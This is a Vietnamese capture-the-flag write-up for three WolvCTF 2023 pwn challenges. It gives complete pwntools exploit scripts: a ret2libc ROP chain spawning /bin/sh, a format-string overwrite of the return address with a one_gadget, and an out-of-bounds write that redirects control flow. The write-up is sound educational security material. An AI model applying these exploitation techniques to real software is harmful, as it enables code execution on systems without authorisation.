# (writeup) WolvCTF2023
## Echo2
- check file + checksec

- check ida

- kiểm tra thông tin về hàm ``fread``

- sẽ đọc vào biến **ptr**, mỗi 1 byte, tổng lượng byte là v2[0], với parament là ``stdin``
- ta sẽ leak exe ra ở ngay ``fread``, dữ liệu xuất ra ở ``return printf ``
- offset tới rip là

> 279 bởi vì có byte \n từ scanf ở trước
- ban đầu để ntn thì k có dữ liệu nào ra
```python
payload = b'280' #bao gồm byte \n của scanf
p.sendlineafter(b'Echo2\n',payload)
payload = b'A'*280 #ghi đè dư 1 byte exe để leak
p.send(payload)
p.recvuntil(b'A'*279)
exe_leak = u64(p.recv(6) + b'\0\0')
```
- kiểm tra bên ngoài thì thấy

- nhập 4 nhưng chỉ in 3 kí tự đầu
- tức là tăng lên +1 ở lần nhập đầu tiên thì mới có nhiều dữ liệu ra thêm
```python
payload = b'281' #bao gồm byte \n của scanf
p.sendlineafter(b'Echo2\n',payload)
payload = b'A'*280 #ghi đè dư 1 byte exe để leak
p.send(payload)
p.recvuntil(b'A'*279)
exe_leak = u64(p.recv(6) + b'\0\0')
```
- ta leak dc exe đấy nhưng mà...

- rip nó lại đang trỏ tới ``<echo+120> (bad)``
- khi ta ghi đè 280 byte A thì ret lại vào địa chỉ (bad) tệ hại đó khiến ta k thực thi lại main dc
- thứ ta cần là chạy tiếp là leak them libc
- vậy payload ta sẽ đổi lại là 279 byte A và 1 byte đâu đó trong main

- thì lúc này ta thử ở byte cuối là ``4c``, offset là 0x124c (coi ``vm`` thì thấy chênh nhau 2 bye cuối)
- vậy ta đã thực thi lại hàm main thành công, bước tiếp theo ta leak libc thôi

- đề là có libc.so.6
- vậy ta sẽ load thêm libc vào script
- ngoài ra ta sẽ leak thêm ret của echo để thuận tiện leak libc

> 0x1246
- tương tự ta padding 279 byte A
- rồi tới ret echo
- rồi thực thi PLT của puts để leak libc

- như ta thấy sau rbp ta sẽ pad ret echo, rồi PLT puts là ngay sau libc
- leak xong ta 1 lần nữa ret echo
- để rồi thực thi lại hàm echo
- vì lần scanf phải gửi dư 1 byte mới leak dc nên ta sài ``str(len(payload)+1)`` cho thuận tiện, khỏi đếm bnhiu byte cần leak
- NHƯNG, leak dữ liệu là sau 279 byte A và mớ cái byte đằng sau lệnh PLT, trước byte 'Welcome to Echo2\n'
- thì theo kinh nghiệm là ta sẽ leak kiểu này
```python
p.recvuntil(b'A'*279)
libc_leak = u64(p.recvuntil(b'Welcome'), drop=True)[-6:] + b'\0\0')
```
- là nhận đến chuỗi 'Welcome' thì bỏ đi nó, nhập trước nó 6 byte
- thì libc leak ra lại bị thừa con 0xa đầu, nghi nghi là byte '\n' nên đổi lại thành [-7:-1] mới được
- bài này ta k dùng tool one_gadget được
- ta sẽ đổi qua libc.sym['system']
- vì tìm thanh ghi 'pop rdi' từ file exe không có nên mới sử dụng libc để tìm offset (do libc chắc chắn đầy đủ thanh ghi cho mình)

- hmmm, do_system mà cũng bị xmm1 ư =))))) 🙇♂️
- thiện style thiện style 🙏
- vậy là mỗi rdi trỏ tới chuỗi /bin/sh thôi thì k đủ, ta dạo quanh hồ gươm thì thêm rdx = NULL thì lại dc =)))))
- đã thử thêm ret, add rsp 8, đều k dc, chỉ có pop rdx là dc

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./challenge',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
p = process(exe.path)
# gdb.attach(p, gdbscript='''
# b*echo+52
# b*echo+88
# b*main+129
# c
# ''')
# input()
payload = b'281'
p.sendlineafter(b'Echo2\n',payload)
#input()
payload = b'A'*279 + b'\x4c'
p.send(payload)
p.recvuntil(b'A'*279)
exe_leak = u64(p.recv(6) + b'\0\0')
exe.address = exe_leak - 0x124c
log.info("exe leak: " + hex(exe_leak))
log.info("Exe base: " + hex(exe.address))
ret_echo = exe.address + 0x1246
payload = b'A'*279
payload += p64(ret_echo)
payload += p64(exe.plt['puts'])
payload += p64(ret_echo)
payload += p64(exe.sym['echo'])
p.sendlineafter(b'Echo2\n', str(len(payload) + 1))
p.send(payload)
p.recvuntil(b'A'*279)
libc_leak = u64(p.recvuntil(b'Welcome', drop=True)[-7:-1] + b'\0\0')
libc.address = libc_leak - 0x620d0
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rdx_r12 = libc.address + 0x000000000011f497
payload = b'A'*279
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(libc.sym['system'])
p.sendlineafter(b'Echo2\n', str(len(payload) + 1))
p.send(payload)
p.interactive()
```
___
## WTML
- check file + checksec

- check ida

- func ``prompt_tag``

```
ở trong func này, nếu char nhận đc chứa byte '\n', '<' hay '>' sẽ exit()
```
- fuc ``replace_tag_v1``


- kiểm tra format chuỗi nhập vào
```
thấy format giống kiểu WEB =))
nào là <x>heading</x
phải thêm ký tự đằng sau '<' vì hàm if lồng nhau
```
- func ``replace_tag_v2``

- có ``printf``, ngon, fmtstr thui
- đầu tiên, gdb và ``vm`` thì thấy file này có libc.so.6, nhưng đề lại cho libc-2.31.so, tiện tay nên pwninit luôn
- dừng lại trước hàm ``fread``:

- ở đây ta thấy bắt đầu nhập từ $rdi tới 32 byte (0x20 hexabyte) thì full 4 dòng stack này, byte kế là 0x00
> offset = 32 (0x20 theo ida) (bao gồm 5 byte bắt buộc là '<', 'x' , '>', '<', '/' )
- payload ta sẽ nhập theo format
```python
payload = b'<x>' + b'A'*27 + b'</'
```
- nhìn lại hàm ``replace_tag_v1``

- phần **if** bên dưới, nó còn xét byte cuối cùng sau '</' là biến **a2** lượng byte là 1, đối chiếu lên **if** bên trên sau byte '<' và trước byte '>' cũng là biến **a2**, thì chắc muốn vượt qua hàm này cái format ``<x>padding27byte</x``, ``x`` là ``\x00`` hoặc ``\0``
- ``x`` này có thể gọi là 1 cái tag (theo chương trình định nghĩa như thế)
- ngoài ra, khi ta ``tel`` thêm, thấy 1 địa chỉ k nằm trong phân vùng nào nhưng lại trỏ đến exe_base

- khai thác ``.fini_aray`` nhuỷ 🥲
- nhưng k có ``get_shell`` nên ta chắc phải leak libc rồi tool one_gadget cho lẹ
- payload cho thử
```python
payload = b'<\0>' + b'A'*27 +b'</'
```
- rồi dừng ở ``replace_tag_v2``, ngay ``printf`` thứ 2, nơi leak dữ liệu ra
- mà ta phải gửi cái thay tag 2 lần,

- một lần thì báo ntn

- ở %53 có 1 địa chỉ libc

- ta tiện leak thêm stack (ở %40), stack trỏ đến $rip có offset 0x58
- ta k thể dừng ở ``fread`` đầu tiên để tính % đc, bởi sau 7749 bước dữ liệu thay đổi thì ssack sẽ thay đổi đến khi hàm ``printf`` ở ``replace_tag_v2`` được gọi
- ta sẽ ghi đè $rip thành one_gadget
- tính base của libc ta có 0x24083
- rồi ta "đóng gói hành lí" cái one_gadget ở

- tầm %16 đi, rồi padding đến %16 ( bỏ 8 byte ghi đè, tới %16 là 0x40 byte)

- script:
```pthon
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./challenge_patched',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
p = process(exe.path)
# gdb.attach(p, gdbscript='''
# b*replace_tag_v2+72
# c
# ''')
# input()
payload = b'<\0>' + b'%40$p%53$p'.ljust(27, b'A') + b'</'
#offset .fini_array = 0x3288
p.sendafter(b'WTML!\n', payload)
#input()
p.sendlineafter(b'[q to quit]?\n', b'\0')
p.sendlineafter(b'tag?\n',b'\1')
p.sendlineafter(b'[q to quit]?\n', b'\0')
p.sendlineafter(b'tag?\n',b'\1')
p.recvuntil(b'<\1>')
leaking = p.recvuntil(b'A', drop=True).split(b'0x')
stack_leak = int(leaking[1], 16)
stack_ptr = stack_leak - 0x58
libc_leak = int(leaking[2], 16)
libc.address = libc_leak - 0x24083
log.info("stack leak: " + hex(stack_leak))
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
one_gadget = libc.address + 0xe3b01
package = {
(one_gadget >> 0) & 0xffff: stack_ptr + 0,
(one_gadget >> 16) & 0xffff: stack_ptr + 2,
(one_gadget >> 32) & 0xffff: stack_ptr + 4,
}
order = sorted(package)
payload = f'%{order[0]}c%16$hn'.encode()
payload += f'%{order[1] - order[0]}c%17$hn'.encode()
payload += f'%{order[2] - order[1]}c%18$hn'.encode()
payload = payload.ljust(0x40, b'A')
payload += flat(
package[order[0]],
package[order[1]],
package[order[2]],
)
p.sendlineafter(b'about v2: ', payload)
p.interactive()
```
- ủa z là đâu có ``.fini_aray`` dữ đâu, chỉ là phương pháp ghi đè giống cách khai thác ``.fini_aray`` =))))))
___
## Squirrel Feeding
- check file + checksec

- check ida

- full source code:
```c
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#define FEED_OPTION 1
#define VIEW_OPTION 2
#define QUIT_OPTION 3
#define MAX_NAME_LEN 16
#define BIN_COUNT 10
#define BIN_SIZE 4
#define FLAG_SQUIRREL_NAME "santa"
// Structs
typedef struct map_entry {
char name[MAX_NAME_LEN];
size_t weight;
} map_entry;
typedef struct map_data {
size_t bin_sizes[BIN_COUNT];
map_entry bins[BIN_COUNT][BIN_SIZE];
} map_data;
typedef struct map {
map_data *data;
map_data local;
} map;
// Globals
map flag_map = {0};
// Functions
size_t hash_string(char *string) {
size_t hash = 0;
size_t len = strlen(string);
if (len > MAX_NAME_LEN)
return 0;
for (size_t i = 0; i < len; i++) {
hash += string[i] * 31;
}
return hash;
}
void get_max_weight(map *m, char *key) {
// TODO: implement
// I figured I would just leave the stub in!
}
void increment(map *m, char *key, size_t amount) {
size_t hash = hash_string(key);
if (hash == 0)
return;
size_t index = hash % BIN_COUNT;
for (size_t i = 0; i <= BIN_COUNT; i++) {
map_entry *entry = &m->data->bins[index][i];
// Increment existing
if (strncmp(entry->name, key, MAX_NAME_LEN) == 0) {
entry->weight += amount;
printf("Squirrel %s has weight %zu lbs\n", entry->name, entry->weight);
return;
}
// Create new
if (i == m->data->bin_sizes[index]) {
strncpy(entry->name, key, MAX_NAME_LEN);
entry->weight += amount;
if (key != FLAG_SQUIRREL_NAME) printf("New squirrel %s has weight %zu lbs\n", entry->name, entry->weight);
m->data->bin_sizes[index]++;
// TODO: enforce that new weight does not exceed the "presidential chonk!"
get_max_weight(&flag_map, FLAG_SQUIRREL_NAME);
return;
}
}
}
void print(map *map, char *key) {
size_t hash = hash_string(key);
if (hash == 0)
return;
size_t index = hash % BIN_COUNT;
for (size_t i = 0; i < map->data->bin_sizes[index]; i++) {
map_entry *entry = &map->data->bins[index][i];
if (strncmp(entry->name, key, MAX_NAME_LEN) != 0) continue;
printf("Squirrel %s has weight %zu lbs\n", entry->name, entry->weight);
return;
}
}
void init_flag_map() {
FILE *flag_file = fopen("flag.txt", "r");
if (flag_file == NULL) {
puts("File not found!");
exit(EXIT_FAILURE);
}
char flag_text[0x100];
fgets(flag_text, sizeof(flag_text), flag_file);
long flag_weight = strtol(flag_text, NULL, 10);
flag_map.data = &flag_map.local;
increment(&flag_map, FLAG_SQUIRREL_NAME, flag_weight);
fclose(flag_file);
}
size_t i = 0;
long option = 0;
char *end_ptr = NULL;
char option_input[0x8] = {0};
char name_input[MAX_NAME_LEN] = {0};
void loop() {
map m = {0};
m.data = &m.local;
while (i < 5) {
puts("==============================");
puts("What would you like to do?");
puts("1. Feed your favorite squirrel");
puts("2. View squirrel weight");
puts("3. Quit");
fputs("> ", stdout);
fgets(option_input, sizeof(option_input), stdin);
option = strtol(option_input, &end_ptr, 10);
if (errno) {
puts("Invalid option!");
continue;
}
if (option == FEED_OPTION) {
++i;
fputs("Enter their name: ", stdout);
fgets(name_input, sizeof(name_input), stdin);
fputs("Enter the amount to feed them: ", stdout);
fgets(option_input, sizeof(option_input), stdin);
option = strtol(option_input, &end_ptr, 10);
if (errno) {
puts("Invalid option!");
continue;
}
increment(&m, name_input, option);
} else if (option == VIEW_OPTION) {
fputs("Enter their name: ", stdout);
fgets(name_input, sizeof(name_input), stdin);
print(&m, name_input);
} else if (option == QUIT_OPTION) {
break;
} else {
puts("Invalid option!");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
puts("Welcome to the Michigan squirrel feeding simulator!");
init_flag_map();
loop();
}
```
- ta thấy trong func ``init_flag_map`` có gọi hàm **strtol()**

- vậy ta sẽ tạo file flag.txt chỉ có chứa số bên trong ``13371337``
- trong func ``loop`` sẽ lặp lại 5 lần

- func ``print`` sẽ in flag ra cho mình

- khi vào hàm ``increment``, sẽ khởi động func ``hash_string``

- lấy từng kí tự trong chuỗi mình nhập vào, nhân 31 r tính tổng
- ngoài ra thêm 1 hàm **strncmp()**


- so sánh *entry->name* với *key*
- ta sẽ đặt break point trc khi gọi ``hash_string``

- ngay hàm **strncmp()**

- và ``ret_increment``

- ở thiết lập map_data, dc cấp BIN_SIZE là 4, nhưng dữ liệu ta dc nhập tới 5 lần do hàm **while**, vậy ở lần cuối ta sẽ truy cập ngoài mảng và ``ret`` tại 1 địa chỉ của func ``print`` để in flag của mình
- việc ta muốn OW thì phải nhập từ thứ tự 9, vì BIN_COUNT dc set là 10

- tức là index ở đây phải là con số 9
- index = hash % 10
- thì idea sẽ là con số 9 hoặc con số 1
- nhưng vì chọn số 9 không khả thi, chọn số 1 lại được
- vì trong modul đồng dư, thay vì dư 1 thì ta cũng có thể nói lách là dư -9 khi lấy modul cho 10 (vả lại thường mấy bài OOB là sẽ truy cập biến âm )
- và sau lần gửi ở 'name: ', ta có thể thêm bao nhiu chữ tuỳ ý có số DEC là chẵn chia hết cho 10, nhưng k dc quá 15 chữ vì ...
```c
#define MAX_NAME_LEN 16
```
- ta chọn chữ 'P' đi, vì ``chr(80)='P'``
- và gửi theo trình tự để dễ DEBUG
- sau khi gửi 4 lần dữ liệu, ta break ngay tại ``ret_increment`` và kiểm tra stack

- lúc này $rip dg trỏ tới <main+130>
- lần nhập thứ 5 sẽ OW $rip và ta sẽ hướng nó đên func sẽ in flag ta ra, tức là hàm ``print``
- nhưng dữ liệu vào là dạng số, ta k thể exe.sym đc
- và cũng như hướng khai thác là out-of-bound nên ta sẽ tìm offset đến ``print``
- kiểm tra phân vùng của ``print`` thì thấy nằm trong r_x của exe, và

>p/x 0x0055df4950b9c0 - 0x55df4950b50e = 0x4b2
>offset = -0x4b2
- ta run thử script thì thấy k ra, DEBUG thì thấy lỗi xmm0

- nên ta nhảy sau push là +5 lên

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./challenge',checksec=False)
p = process(exe.path)
# gdb.attach(p, gdbscript='''
# b*increment+31
# b*increment+192
# b*increment+446
# c
# ''')
# input()
# 4 lan nhap dau
for i in range(4):
p.sendlineafter(b'> ',b'1')
p.recvuntil(b'name: ')
p.sendline(b'1'+i*b'P')
p.sendlineafter(b'them: ',b'1')
# lan nhap thu 5
p.sendlineafter(b'> ',b'1')
p.recvuntil(b"name: ")
p.sendline(b"1PPPP")
print_func = -0x4b2
p.sendlineafter(b'them: ',str(print_func+5))
p.interactive()
```